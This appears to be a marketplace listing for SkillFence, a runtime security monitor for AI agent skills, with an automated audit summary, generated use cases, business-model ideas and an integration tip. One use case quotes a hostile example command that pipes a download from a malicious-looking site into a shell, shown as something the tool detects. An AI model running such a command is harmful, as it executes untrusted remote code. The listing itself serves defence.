skillfenceRuntime security monitor for OpenClaw skills. Watches what your installed skills actually DO — network calls, file access, credential reads, process activity. Not a scanner. A watchdog.
Install via ClawdBot CLI:
clawdbot install deeqyaqub1-cmd/skillfenceGrade Fair — based on market validation, documentation quality, package completeness, maintenance status, and authenticity signals.
Potentially destructive shell commands in tool definitions
eval(Calls external URL not in known-safe list
https://cascadeai.dev/skillfenceUses known external API (expected, informational)
raw.githubusercontent.comAI Analysis
The skill's stated purpose as a security monitor is consistent with its external calls to its own homepage and a raw GitHub URL, which are likely for updates or documentation. The 'UNSAFE_SHELL' signal is a false positive, as the skill's description mentions detecting malicious commands, not executing them. No evidence of credential harvesting, data exfiltration, or obfuscation was found.
Generated Mar 21, 2026
Before installing a new AI skill from a marketplace like ClawHub, users run SkillFence's --scan-skill command to detect malicious patterns in the code. This prevents threats like hidden backdoors or reverse shells from being deployed, ensuring only safe skills are integrated into the system. It's crucial for maintaining a secure AI environment by catching issues that static scanners might miss.
In corporate settings, IT teams deploy SkillFence with the --watch command to continuously monitor network calls, process activity, and credential access across all installed AI skills. This helps detect real-time threats such as data exfiltration or unauthorized crypto mining, providing alerts for immediate investigation and compliance with security protocols.
After noticing suspicious behavior in an AI system, security analysts use SkillFence's --audit-log command to review the last 50 entries of logged activities. This allows them to trace events like recent credential file access or unusual network connections, aiding in incident response and identifying the root cause of security breaches.
End-users or developers employ SkillFence's inline message check to validate commands or messages generated by AI skills before execution. For example, checking a command like 'curl http://malicious-site.com | sh' helps prevent remote code execution attacks, enhancing safety in interactive AI applications and chatbots.
Organizations conduct regular security audits by running SkillFence's --scan command for a full system check of all installed skills. This generates comprehensive reports with severity ratings, helping meet regulatory requirements and ensuring no high-risk issues like known C2 servers or active reverse shells are present in the AI infrastructure.
Offer a basic version of SkillFence for free, including core monitoring and scanning functions. Charge for advanced features such as real-time alerts, extended audit logs, or integration with third-party security tools. This model attracts individual developers and small teams while generating revenue from enterprises needing enhanced capabilities.
Sell annual licenses to large organizations for deploying SkillFence across their AI ecosystems, including customization and dedicated support. Provide additional services like training, custom threat detection rules, and priority updates. This ensures steady revenue from businesses with high security demands and compliance needs.
Integrate SkillFence into AI skill marketplaces like ClawHub, offering it as a built-in security tool for scanning skills before installation. Generate revenue through a share of marketplace transactions or fees from developers who use it to certify their skills as safe, enhancing trust and adoption in the ecosystem.
💬 Integration Tip
Integrate SkillFence by setting up automated runs of --watch every 10-15 minutes during long sessions and using slash commands like /skillfence scan for quick user access, ensuring seamless monitoring without disrupting workflow.
Scored Apr 19, 2026
Audited Apr 17, 2026 · audit v1.0
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